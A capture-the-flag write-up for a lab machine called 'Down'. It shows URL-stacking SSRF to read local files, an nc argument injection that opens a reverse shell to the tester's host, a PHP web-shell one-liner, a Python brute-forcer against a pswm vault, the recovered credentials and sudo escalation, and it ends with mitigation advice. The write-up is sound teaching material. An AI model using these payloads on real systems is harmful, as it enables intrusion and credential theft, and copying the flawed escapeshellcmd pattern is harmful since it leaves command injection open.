Skip to main content
Down (easy)

Down (easy)

·1412 words·7 mins
Table of Contents

Overview
#

Down is a very beginner friendly machine, which teaches some basic SSRF and filter bypassing. For privilege escalation we analyze a simple password manager and write a small bruteforce script.

User
#

Nmap portscan shows two ports open, SSH and a webserver on 80 running with Apache:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 f6:cc:21:7c:ca:da:ed:34:fd:04:ef:e6:f9:4c:dd:f8 (ECDSA)
|_  256 fa:06:1f:f4:bf:8c:e3:b0:c8:40:21:0d:57:06:dd:11 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Is it down or just me?
|_http-server-header: Apache/2.4.52 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Browsing to webserver shows a simple url checker for being up: ![down1.png | 1000](down1.png | 1000)

We can check if we serve malicious php if it gets executed:

<?php system($_GET['cmd']);?>

write into simple.php

Host with python:

python -m http.server 80

PHP code does not get interpreted.

down2.png

It is possible to target the host itself by entering http://127.0.0.1, this opens up a possibility for SSRF.

Analyzing how these requests are done on the backend, checking with ncat:

ncat -lvnp 80                                                                                                                                                                               
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.129.192.108:36924.

GET /simple.php HTTP/1.1
Host: 10.10.14.129
User-Agent: curl/7.81.0
Accept: */*

We see it’s the curl binary behind it.

Checking other protocols, trying to read local files (LFI):

file:///etc/passwd

file:// and other parameters are filtered, only http and https is allowed, as the message states:

down3.png

But how is this filter implemented? What if we stack URLs, curl does supports multiple URLs at once delimited by space:

POST /index.php HTTP/1.1
Host: 10.129.192.108
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
Origin: http://10.129.192.108
DNT: 1
Connection: keep-alive
Referer: http://10.129.192.108/index.php
Upgrade-Insecure-Requests: 1
Priority: u=0, i

url=http://127.0.0.1+file:///var/www/html/index.php

This input needs to be done in burpsuite or on cmdline, as in a browser there is client side javascript active, which prevents filling in spaces.

Previous requests successfully retrieves website code:

<!DOCTYPE HTML>
<html lang="en">
    <head>
        <meta charset="utf-8">
        <title>Error response</title>
    </head>
    <body>
        <h1>Error response</h1>
        <p>Error code: 404</p>
        <p>Message: File not found.</p>
        <p>Error code explanation: 404 - Nothing matches the given URI.</p>
    </body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Is it down or just me?</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>

    <header>
        <img src="/logo.png" alt="Logo">
        <h2>Is it down or just me?</h2>
    </header>

    <div class="container">

<?php
if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' ) {
  echo '<h1>Is the port refused, or is it just you?</h1>
        <form id="urlForm" action="index.php?expertmode=tcp" method="POST">
            <input type="text" id="url" name="ip" placeholder="Please enter an IP." required><br>
            <input type="number" id="port" name="port" placeholder="Please enter a port number." required><br>
            <button type="submit">Is it refused?</button>
        </form>';
} else {
  echo '<h1>Is that website down, or is it just you?</h1>
        <form id="urlForm" action="index.php" method="POST">
            <input type="url" id="url" name="url" placeholder="Please enter a URL." required><br>
            <button type="submit">Is it down?</button>
        </form>';
}

if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' && isset($_POST['ip']) && isset($_POST['port']) ) {
  $ip = trim($_POST['ip']);
  $valid_ip = filter_var($ip, FILTER_VALIDATE_IP);
  $port = trim($_POST['port']);
  $port_int = intval($port);
  $valid_port = filter_var($port_int, FILTER_VALIDATE_INT);
  if ( $valid_ip && $valid_port ) {
    $rc = 255; $output = '';
    $ec = escapeshellcmd("/usr/bin/nc -vz $ip $port");
    exec($ec . " 2>&1",$output,$rc);
    echo '<div class="output" id="outputSection">';
    if ( $rc === 0 ) {
      echo "<font size=+1>It is up. It's just you! 😝</font><br><br>";
      echo '<p id="outputDetails"><pre>'.htmlspecialchars(implode("\n",$output)).'</pre></p>';
    } else {
      echo "<font size=+1>It is down for everyone! 😔</font><br><br>";
      echo '<p id="outputDetails"><pre>'.htmlspecialchars(implode("\n",$output)).'</pre></p>';
    }
  } else {
    echo '<div class="output" id="outputSection">';
    echo '<font color=red size=+1>Please specify a correct IP and a port between 1 and 65535.</font>';
  }
} elseif (isset($_POST['url'])) {
  $url = trim($_POST['url']);
  if ( preg_match('|^https?://|',$url) ) {
    $rc = 255; $output = '';
    $ec = escapeshellcmd("/usr/bin/curl -s $url");
    exec($ec . " 2>&1",$output,$rc);
    echo '<div class="output" id="outputSection">';
    if ( $rc === 0 ) {
      echo "<font size=+1>It is up. It's just you! 😝</font><br><br>";
      echo '<p id="outputDetails"><pre>'.htmlspecialchars(implode("\n",$output)).'</pre></p>';
    } else {
      echo "<font size=+1>It is down for everyone! 😔</font><br><br>";
    }
  } else {
    echo '<div class="output" id="outputSection">';
    echo '<font color=red size=+1>Only protocols http or https allowed.</font>';
  }
}
?>

</div>
</div>
<footer>© 2024 isitdownorjustme LLC</footer>
</body>
</html>

We see the bypass is working because preg_match only checks with regex for https? at the start (^). It’s important to know that escapeshellcmd can be insecure, as it only hindering other shell commands but not multiple arguments. Always prefer escapeshellarg over it, as it escapes a single argument only.

PHP code reveals an additional endpoint, when expertmode is present as parameter.

http://10.129.234.87/index.php?expertmode=tcp

A simple port checker is presented with it:

down4.png

As escapeshellcmd is used for nc, it is not hindering us adding an additional parameter. The -e flag allows us to send a reverseshell. We see there is some validation on ip and port parameter present. But the logic flaw here is, that the validated, extracted values are not used for effective command execution. The original ones are.

Spin up a listener:

ncat -lvnp 9001

Send POST-request to endpoint:

POST /index.php?expertmode=tcp HTTP/1.1
Host: 10.129.234.87
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Origin: http://10.129.234.87
DNT: 1
Connection: keep-alive
Referer: http://10.129.234.87/index.php?expertmode=tcp
Upgrade-Insecure-Requests: 1
Priority: u=0, i

ip=10.10.14.129&port=9001+-e+/bin/bash

Reverseshell incoming:

ncat -lvnp 9001
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.129.234.87:39852.
whoami
www-data

The user flag can be retrieved in the html directory:

www-data@down:/var/www/html$ ls
index.php  logo.png  style.css  user_aeT1xa.txt

Root
#

The home folder /home/aleks/ is world readable:

www-data@down:/home$ ls -lha
total 12K
drwxr-xr-x  3 root  root  4.0K Sep 13  2024 .
drwxr-xr-x 20 root  root  4.0K May 27 22:03 ..
drwxr-xr-x  5 aleks aleks 4.0K May 27 23:51 aleks

Under /home/aleks/.local/share/pswm, we can find the open source cli password manager pswm, which is written in python:

www-data@down:/home/aleks$ find .
.
./.lesshst
./.bashrc
./.sudo_as_admin_successful
./.local
./.local/share
./.local/share/pswm
./.local/share/pswm/pswm

The file pswm contains base64 encoded, encrypted passwords, we can just output the file and copy it:

www-data@down:/home/aleks/.local/share/pswm$ cat pswm 
e9laWoKiJ0OdwK05b3hG7xMD+uIBBwl/v01lBRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpo

Looking at the source code of pwsm, we see the major lifting is done via cryptocode library. Especially interesting is the function encrypted_file_to_lines:

def encrypted_file_to_lines(file_name, master_password):
    """
    This function opens and decrypts the password vault.

    Args:
        file_name (str): The name of the file containing the password vault.
        master_password (str): The master password to use to decrypt the
        password vault.

    Returns:
        list: A list of lines containing the decrypted passwords.
    """
    if not os.path.isfile(file_name):
        return ""

    with open(file_name, 'r') as file:
        encrypted_text = file.read()

    decrypted_text = cryptocode.decrypt(encrypted_text, master_password)
    if decrypted_text is False:
        return False

    decrypted_lines = decrypted_text.splitlines()
    return decrypted_lines

We can just adapt and write a small bruteforcer to find the master password (don’t forget to install cryptocode with pip):

import cryptocode

with open("./pswm", "r") as file:
    encrypted_text = file.read()

with open("/usr/share/wordlists/rockyou.txt","r", encoding="utf-8") as wordlist:
    for line in wordlist:
        decrypted_text = cryptocode.decrypt(encrypted_text, line.strip())
        if decrypted_text:
            print("[+] Master Password: %s" % line.strip())
            print(decrypted_text)
            break 

Checking against rockyou.txt finds the password flower pretty fast:

python bruteforcer.py      
[+] Master Password: flower
pswm    aleks   flower
aleks@down      aleks   1uY3w22uc-Wr{xNHR~+E

We can login via SSH with credentials aleks:1uY3w22uc-Wr{xNHR~+E

Checking groups of alex reveals we are in the sudo group and are allowed to execute anything. This grants us root access, as we already know the password for aleks:

aleks@down:~$ id
uid=1000(aleks) gid=1000(aleks) groups=1000(aleks),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd)
aleks@down:~$ sudo -l
[sudo] password for aleks: 
Matching Defaults entries for aleks on down:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User aleks may run the following commands on down:
    (ALL : ALL) ALL

Elevate:

aleks@down:~$ sudo su
root@down:/home/aleks# 

The root flag is located under /root.

Learning Points
#

  • curl allows stacking of URLs, bypassing basic filters.
  • Programmers make logical mistakes and may use original values, instead of validated once.
  • Open-Source tools can be analyzed easily and it might be very easy to write a small effective bruteforcer.

Mitigation Points
#

  • Avoid using system command in terms of webservices (like php system() or exec()) where ever possible. If really needed, properly sanitize user input. Use possible restriction like escapeshellarg and audit regex patterns properly.
  • Use the concept of least privilege possible, like don’t allow other users (www-data) to read home directory files (passwordmanager).
  • Use strong, unique passwords.
  • Restrict sudo rights to only necessary commands.